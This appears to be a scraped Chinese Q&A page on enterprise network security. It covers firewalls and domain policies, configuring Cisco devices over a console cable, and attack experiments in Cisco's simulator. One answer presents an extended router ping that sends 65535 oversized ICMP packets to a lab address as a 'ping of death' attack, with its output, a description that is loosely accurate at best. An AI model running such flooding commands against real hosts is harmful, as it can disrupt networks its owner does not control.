内容导读：导航目录:1、企业用什么安全防护产品和架构才能够保证***安全？思科的软件防护产品怎么样？求各位大神指点！2、CISCO路由、交换在配置的时候用的什么软件？3、怎么用思科模拟器做***攻击实验4、请教高手。一位...……
导航目录:
- 1、企业用什么安全防护产品和架构才能够保证 *** 安全？思科的软件防护产品怎么样？求各位大神指点！
- 2、CISCO路由、交换在配置的时候用的什么软件？
- 3、怎么用思科模拟器做 *** 攻击实验
- 4、请教高手。一位 *** 安全工程师，能够熟练配置思科等厂商防火墙、杀毒软件之类的设备，
企业用什么安全防护产品和架构才能够保证 *** 安全？思科的软件防护产品怎么样？求各位大神指点！
首先，硬件上面要有投入，规模比较大的局域网，防火墙、三层交换机、上网行为管理都不能少。
其次，要有行政手段，建立企业内部上网规范。
再次，还要有技术手段来进行保障，更佳方案是：
1. 内网权限管理用AD域。这样可以用组策略来做很多限制，避免随意安装软件导致局域网安全隐患。
2. 外网权限用防火墙、上网行为管理。工作时段进行上网限制，否则只要有1-2个人进行P2P下载、看 *** 视频，外网就基本上瘫痪了。
3. 没有上网行为管理硬件的话，也可以部署上网行为管理软件（比如“超级嗅探狗”、WFilter等）。可以通过旁路方式监控流量占用、上网行为、禁止下载等，并且和域控结合。
CISCO路由、交换在配置的时候用的什么软件？
你说的那是模拟器，在真实的设备上一般使用命令行方式进行配置，这些必须学习专业配置命令，与你在模拟器上使用的命令基本相同，但是它一般使用配置线连接计算机的COM口及 *** 设备的Consol口，然后开启电脑的超级终端来配置。
仅供参考
怎么用思科模拟器做 *** 攻击实验
这个目前还没有，这个模拟软件只是适合於NA中的部分实验，不过，你可以试试这样，可以实现ping of death 攻击：
Router#ping
Protocol [ip]: ip
Target IP address: 192.168.1.1
Repeat count [5]: 65535
Datagram size [100]: 65530
% A decimal number between 36 and 18024.
Datagram size [100]: 18024
Timeout in seconds [2]: 1
Extended commands [n]:
Sweep range of sizes [n]:
Type escape sequence to abort.
Sending 65535, 18024-byte ICMP Echos to 192.168.1.1, timeout is 1 seconds:
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Success rate is 100 percent (1367/1367), round-trip min/avg/max = 0/13/125 ms
请教高手。一位 *** 安全工程师，能够熟练配置思科等厂商防火墙、杀毒软件之类的设备，
热心相助
您好！
*** 安全工程师，应当能够熟练配置思科等厂商防火墙、杀毒软件之类的设备
这是常用技术和职责，否则，不够 *** 安全工程师
这些厂商若留有后门将依法处置，
抵御 *** 攻击需要系统加固和入侵防御系统等措施